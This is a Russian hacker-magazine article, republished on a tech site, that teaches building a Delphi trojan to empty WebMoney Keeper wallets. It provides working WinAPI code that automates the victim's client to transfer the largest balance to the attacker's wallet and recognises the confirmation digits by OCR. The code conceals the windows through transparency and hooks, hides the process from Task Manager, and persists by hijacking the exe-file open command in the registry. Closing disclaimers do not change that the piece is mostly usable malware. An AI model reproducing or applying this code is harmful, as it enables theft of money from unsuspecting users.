Информационные технологииStfw.Ru 🔍

Уводим WebMoney

Мгновенный и скрытый перевод электронных денег SIR (sir-xaker@mail.ru)
🕛 28.08.2008, 16:42
Существуeт особый сорт людей, которые не хотят работать, но при этом мечтают кататься как сыр в масле. Они обычно зарабатывают на жизнь не очень честно, но перед снятием сливок им все-таки приходится поработать своими извилинами. В этой статье мы рассмотрим один из таких умственных экспериментов.

Предыстория

О способах похищения денег с кошельков WebMoney ходят легенды: специальные сборщики, накрутчики WM-денег, взлом программы-клиента, перехваты трафика с серверов и другие фантастические истории. Все эти способы - выдумка. Взломать напрямую WM Keeper не очень сложно, но это бесполезная трата времени: все операции осуществляются только на сервере, и никакой перехват трафика здесь не поможет. Keeper является всего лишь передатчиком действий пользователя и средством просмотра состояния счета. Ты задаешь команду - сервер ее выполняет. Если выполнить команду невозможно (например, недостаточно денег на счете для перевода) - появится сообщение об ошибке.

Пожалуй, только хищение самих ключей от WM Keeper'а долгое время оставалось единственной реальной возможностью получить доступ к чужим кошелькам. Но появление таких дополнительных мер защиты, как увеличение размера ключей до 100 МБ и активизация через e-mail при использовании с другого компьютера, сделало и этот способ абсолютно бесполезным. (Я бы не так сказал. Например, у меня активация отключена, так как часто работаю с виртуальными и зашифрованными дисками, подключение которых Keeper воспринимает как изменение аппаратной конфигурации и требует ввода кода. Задание размера ключей в версии 3.0.0.0 я не нашел. А вот хранение ключей на enum.ru решает проблему хищения, но этим сервисом пользуются не все. - Прим. редактора)

Мой метод довольно прост. Все началось с того, что я случайно забрел на давно забытую ссылку - http://www.xakep.ru//magazine/xa/067/042/1.asp. Автор изобрел оригинальный метод, основанный на стандартных WinAPI-функциях. Однако и эта статья устарела и пришла в негодность. Я кардинально переработал его метод и вложил часть своего замысла.

begin

В начале наша программа будет просто висеть в памяти и проверять все окна на наличие заголовка "WebMoney Keeper". Это легко делается с помощью API-функции:

FindWindow:

var KeeperWnd:HWND;

while KeeperWnd=0 do

KeeperWnd:=FindWindow(nil,PChar('WebMoney Keeper'));

Впоследствии мы будем получать хэндлы дочерних окон (нужные поля ввода, кнопки и другие необходимые объекты). Для их получения используется функция GetWindow, первым параметром которой выступает хэндл основного окна, а вторым - GW_CHILD.

Итак, программа запущена. Теперь проверяем ее коннект к серваку. Эту проверку я реализовал следующим образом. API-функцией GetWindow получаем хэндлы дочерних окон: полей ввода, кнопок и др. Шестым будет хэндл кнопки, на которой написан статус программы (онлайн или оффлайн). При помощи функции GetWindowText мы считываем с нее текст. Однако нам недостаточно знать статус, ведь программа проходит этап авторизации. Нам необходимо ждать появления такой строки текста: «OnLine [WMID] - Обновить данные». (В версии 3.0.0.1 можно, например, ждать исчезновения многоточия из этой строки. - Прим. редактора)

Определяем статус Keeper’а

var

buf:array[1..100] of char;

ButtonWnd:array[1..20] of HWND;

i:integer;

ZeroMemory(@buf,sizeof(buf));

ButtonWnd[1]:=GetWindow(KeeperWnd,GW_CHILD);

for i:=2 to 6 do ButtonWnd:=GetWindow(ButtonWnd[i-1],GW_HWNDNEXT);

repeat

GetWindowText(ButtonWnd[6],@buf,SizeOf(buf));

until pos('Обновить данные',buf)<>0;

Автор статьи от 2003-го года предлагает лазить по меню настройки программы WM и изменять параметры безопасности. Это лишнее. Во-первых, установленные настройки на работу вируса влиять абсолютно не будут. Во-вторых, главные настройки безопасности все равно не удастся изменить: разработчики учли этот недостаток и влепили подтверждение установленных изменений вводом трехзначного числа. И, в-третьих, это дополнительная трата времени работы вируса и лишнее палево. А мы для начала жмем на кнопку «Меню» и добираемся до пункта «В кошелек WebMoney…»:

Пытаемся открыть окно перевода денег - "Передать WM"

SendMessage(KeeperWnd,WM_SYSCOMMAND,SC_RESTORE,0);

BringWindowToTop(KeeperWnd);

SendMessage(ButtonWnd[5],WM_IME_KEYDOWN,VK_SPACE,0);

SendMessage(ButtonWnd[5],WM_IME_KEYUP,VK_SPACE,0);

for i:=1 to 8 do begin

SendMessage(ButtonWnd[5],WM_IME_KEYDOWN,VK_DOWN,0);

SendMessage(ButtonWnd[5],WM_IME_KEYUP,VK_DOWN,0);

end;

SendMessage(ButtonWnd[5],WM_IME_KEYDOWN,VK_RIGHT,0);

SendMessage(ButtonWnd[5],WM_IME_KEYUP,VK_RIGHT,0);

SendMessage(ButtonWnd[5],WM_IME_KEYDOWN,VK_DOWN,0);

SendMessage(ButtonWnd[5],WM_IME_KEYUP,VK_DOWN,0);

SendMessage(ButtonWnd[5],WM_IME_KEYDOWN,VK_RIGHT,0);

SendMessage(ButtonWnd[5],WM_IME_KEYUP,VK_RIGHT,0);

SendMessage(ButtonWnd[5],WM_IME_KEYDOWN,VK_RETU,0);

ButtonWnd[5] - это указатель на кнопку "Меню". Сначала мы выдвигаем окно Keeper'а на передний фон, затем жмем на кнопку и начинаем путешествовать по меню до нужного нам пункта.

Снова получаю хэндл появившегося окна с помощью функции FindWindow и получаю хэндлы нужных мне полей ввода. Я опять, не усложняя себе жизнь, прогнал цикл for для получения нужных мне дочерних окон. В 3.0.0.0 версии WM многие кнопки поменяли свои места. Здесь я опишу достоверную их позицию.

Находим хэндлы полей ввода, кнопок и других необходимых объектов

var

Transfer:HWND;

TransWnd:array[1..40] of HWND;

repeat

Transfer:=FindWindow(nil,PChar('Передать WM'));

until Transfer<>0;

TransWnd[1]:=GetWindow(Transfer,GW_CHILD);

for i:=2 to 37 do TransWnd:=GetWindow(TransWnd[i-1],GW_HWNDNEXT);

Соответствие номеров конкретным объектам смотри на рисунке.

Далее мне была непонятна логика автора предыдущей статьи, ведь он сразу перешел к заполнению полей ввода суммы и типа своего кошелька. Во-первых, откуда он знает, сколько денег имеет юзер? $1000, $10, а может 0? Во-вторых, деньги, возможно, имеются не только в Z-кошельке, ведь еще есть R, U, E. В-третьих, не факт, что юзер использует только 4 кошелька. В WM, например, можно создать кучу дополнительных однотипных кошельков для одного WMID. Более того, в настройках по умолчанию можно поставить любой номер кошелька, поэтому не факт, что им по умолчанию будет только Z. Ввиду всего вышесказанного я буду создавать массив данных, где будут записаны все имеющиеся кошельки. Код смотри во врезке. Тут мы сначала переходим к самому первому кошельку, потом получаем его номер, тип и сумму на нем и добавляем всю информацию в массив. Затем переходим к следующему кошельку. После выполнения этого куска кода в переменной stop будет записано общее количество кошельков. (Кстати, неплохо бы еще раскидать по всему коду команды sleep(10), чтобы клиент успел обработать сообщения. - Прим. редактора). В этом коде есть одна тонкость, о которой следует рассказать отдельно. В русской версии Винды в качестве разделителя целой и дробной части числа используется запятая, а в кипере - точка. Из-за этого процедуры типа StrToFloat будут работать неправильно. Так что мы будем использовать TextToFloat, как показано, а где-то выше по коду нужно завести переменную format типа TFormatSettings и добавить строчки:

GetLocaleFormatSettings(LANG_SYSTEM_DEFAULT,format);

format.DecimalSeparator:='.';

Теперь мы будем искать кошелек, на котором больше всего денег.

Ищем самый толстый кошелек

var

ind:integer;

koef,max:real;

ind:=0; max:=0.0;

for i:=1 to stop do begin

case Kosh.RZUE of

'R': koef:=1.0;

'Z': koef:=27.2;

'E': koef:=34.2;

'U': koef:=5.3;

else koef:=0.0;

end;

if max<Kosh.Sum*koef then begin

max:=Kosh.Sum*koef;

ind:=i;

end;

end;

Тут мы приводим всю валюту к WMR путем умножения на их курсы и ищем максимальное значение. Если после выполнения кода в ind записано 0, то у юзера не будет денег ни в одном кошельке.

Ну вот, теперь заполняем все поля окна перевода.

Заполняем поля в окне "Передать WM"

for i:=1 to (stop-ind) do begin

PostMessage(TransWnd[1],WM_KEYDOWN,VK_UP,0);

PostMessage(TransWnd[1],WM_KEYUP,VK_UP,0);

end;

SendMessage(TransWnd[3],WM_SETTEXT,0,LongInt(PChar('[Твой WM кошелек]')));

SendMessage(TransWnd[2],WM_SETTEXT,0,LongInt(PChar(FloatToStr(0.992*Kosh[ind].Sum))));

SendMessage(TransWnd[4],WM_SETTEXT,0,LongInt(PChar('В Мировой фонд хакеров!')));

PostMessage(TransWnd[8],WM_KEYDOWN,VK_RETU,0);

PostMessage(TransWnd[8],WM_KEYUP,VK_RETU,0);

Ну что же, перейдем к более сложной части нашего повествования

Распознавание

Если ты уже когда-нибудь пользовался программой WM, то должен был еще в самом начале задаться вопросом: как же обойти подтверждение перевода, ведь там необходимо вводить трехзначное число из картинки!? Мой ответ - никак! Моих знаний ассемблера недостаточно, чтобы проигнорировать эту процедуру. Поэтому придется тупо распознавать эти три меняющиеся в размере цифры. Вообще-то, это отдельная статья, и если кто-нибудь меня хорошо попросит, я могу и о ней написать, так как в инете про это, увы, ничего не сказано. (Именно про алгоритм можно почитать тут - http://www.xakep.ru/magazine/xa/073/120/1.asp - прим. редактора).

Сначала разберемся, что за цифры мы имеем: эта цветная картинка, без рамки имеет размер 46x18 пикселей. Всего три цифры. Первая цифра может принимать два положения - среднее и большое, вторая - среднее и маленькое, третья - среднее, большое, маленькое и наклонное. Но они всегда располагаются в одном и том же месте. Правда, размер окна и положение самой картинки не всегда одинаков (однако всегда неизменным остается ее положение по отношению к нижнему левому краю).

Сначала проверим наличие этого окна:

repeat

Transfer:=FindWindow(nil,PChar('Передача WM клиенту WebMoney'));

until Transfer<>0;

BringWindowToTop(Transfer);

Копируем картинку. Нам потребуется компонент Image.

Копируем картинку

image1.Width:=46;

image1.Height:=18;

GetWindowRect(Transfer,Rect);

DC:=GetDC(Transfer);

BitBlt(Image1.Canvas.Handle,0,0,46,18,DC,123,Rect.Bottom-Rect.Top-55-18-32,SRCCOPY);

ReleaseDC(Transfer,DC);

32 - размер заголовка окна, его тоже надо учитывать. Теперь картинка с цифрами скопирована. Мы разобьем ее на три части (img1, img2, img3) и начнем по пикселям сравнивать матрицу с уже имеющимися моделями (матрицами) цифр. Удобнее, если картинка будет монохромной. Делается это так:

Image1.Picture.Bitmap.PixelFormat:=pf1bit;

Image1.Picture.Bitmap.Monochrome:=true;

Так как ширина картинки 46 пикселей, то разбитие лучше всего сделать таким: 15x18, 16x18 и 15x18 пикселей.

Массив цветов 1-ой цифры

var

img1:array[0..14,1..17]of byte;

x,y:integer;

for x:=0 to 14 do

for y:=0 to 17 do

if image1.Canvas.Pixels [x,y]=clWhite then img1[x,y]:=0

else img1[x,y]:=1;

Для 2-ой и 3-ей цифры делаем аналогично. Теперь наши цифры содержатся в массивах из нулей и единиц. Нам потребуются модели цифр. Всего их будет 40. Понадобится немного терпения, так что сохрани полученную матрицу в текстовый вид, а затем в вирусе создай модели по этим цифрам. Можно чуть ускорить процесс сравнения цифр, если знать ее положение (маленькое, большое и др.). Сам код проверки можно увидеть на диске.

Осталось последнее окно. В него мы отсылаем наши распознанные цифры и жмем кнопку «Да». Затем ждем появления окна результата перевода и закрываем его.

Заполнения окна «Передача WM клиенту WebMoney»

var DT:string;

TransWnd[1]:=GetWindow(Transfer,GW_CHILD);

for i:=2 to 3 do TransWnd:=GetWindow(TransWnd[i-1],GW_HWNDNEXT);

SendMessage(TransWnd[1],WM_SETTEXT,0,LongInt(PChar(IntToStr(S1)+IntToStr(S2)+IntToStr(S3))));

SendMessage(TransWnd[3],WM_IME_KEYDOWN,VK_RETU,0);

SendMessage(TransWnd[3],WM_IME_KEYUP,VK_RETU,0);

DateTimeToString(DT,'yyyy.mm.dd hh:nn',Now);

repeat

Transfer:=FindWindow(nil,PChar('Передача WM '+DT));

until Transfer<>0;

SendMessage(Transfer,WM_CLOSE,0,0);

hidden & dangerous

Чтобы юзер не заподозрил потустороннее программное обеспечение, а главное - открывающиеся окна, нашу программу необходимо скрыть, а весь выше описанный процесс сделать визуально невидимым. Я предлагаю при появлении необходимого нам окна сразу же делать его прозрачным:

SetWindowLong(<хэндл нужного окна>,GWL_EXSTYLE,WS_EX_LAYERED);

SetLayeredWindowAttributes(<хэндл нужного окна>,0,0,$00000002);

Еще можно использовать WinAPI-функции и просто оттащить появившееся окно за пределы экрана:

SetWindowPos((<хэндл нужного окна>,0,2000,2000,0,0,SWP_NOSIZE);

Тут 2000 - это координаты X и Y экрана. Недостаток этого метода лишь в том, что, несмотря на использование оператора repeat, окно все равно успеет прорисоваться, а значит, будет замечен эффект «передергивания» окна. Идеальным вариантом будет использование hook’a на создание окна (про хуки полно документации в инете).

Хук на отлов окон до их прорисовки на экране монитора

Function WndHookProc(nCode:Integer;wParam:UINT;lParam:UINT):LRESULT; stdcall;

begin

KeeperWnd:=FindWindow(nil,PChar('WebMoney Keeper'));

if nCode>=0 then

if PCWPStruct(lParam).Message=WM_SHOWWINDOW then begin

// Делаем над окнами все, что нам нужно

end;

Result:=CallNextHookEx(HookHandle,nCode,wParam,lParam);

end;

Теперь о том, как скрыть наш троян от Ctrl-Alt-Del. Делается это очень просто, посредством хука. Исходник этого хука, включая отлов окон, ты можешь найти на диске. Важно отметить, что dll будет вызываться динамически: если нашу библиотеку запалят, то программа все равно будет продолжать работать и сможет вытащить из себя другую dll. Разумеется, предварительно ее нужно вставить в exe-файл. Это увеличит размеры программы, но зато он будет непреступен. Код вызова такой библиотеки смотри во врезке.

Теперь пару слов об автозагрузке вируса. Большая часть всех троянов использует обычную автозагрузку в реестре: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Но это палевно. Намного лучше будет юзать эту ветвь реестра: HKEY_CLASSES_ROOT\exefile\shell\open\command, изменив значение "%1" %* на ‘имя_вируса.exe "%1" %*’. Теперь, открывая любой exe-файл, будет запускаться наш троян. Чтобы exe-файлы могли загружаться, в вирус нужно обязательно вставить такую строку:

WinExec(PANSIChar(ParamStr(1)),SW_Restore);

Итого

В своей статье я подробно описал весь процесс перевода, но главное - сам метод! Используя такую схему, злобный хакер сможет похищать электронные деньги не только с WebMoney, но и с любых других систем: E-Gold, Яндекс.деньги и т.д.

Конечно же, я никоим образом не призываю всех этим заниматься! Это очень низко и гадко! Это не хакерство, а настоящее киберпадонство! Автор и редакция не собираются нести никакой ответственности за использование данной статьи в ваших грязных целях!

Если у тебя есть какие-нибудь интересные идеи, замечания, предложения - можешь поделиться ими со мной.

DVD

На DVD лежит исходники хука на отлов окон и хук на скрытие от Ctrl-Alt-Del, а также код распознавания цифр. Для работы с ними тебе понадобится компилятор Delphi.

WWW

Про WinAPI можно почитать тут: http://winapi.by.ru/

WWW

Про хуки гляди здесь: www.rsdn.ru/article/baseserv/winhooks.xml

WAING

Автор и редакция не несут никакой ответственности за использование материалов данной статьи в противозаконных целях! Это статья - лишь пример использования WinAPI-сообщений для управления другими приложениями. Проверяй этот материал только на своих WM-кошельках.

Информационная безопасность   Теги:

Читать IT-новости в Telegram

Читайте также:

Ломка WebMoney

Информационные технологии
Мы в соцсетях ✉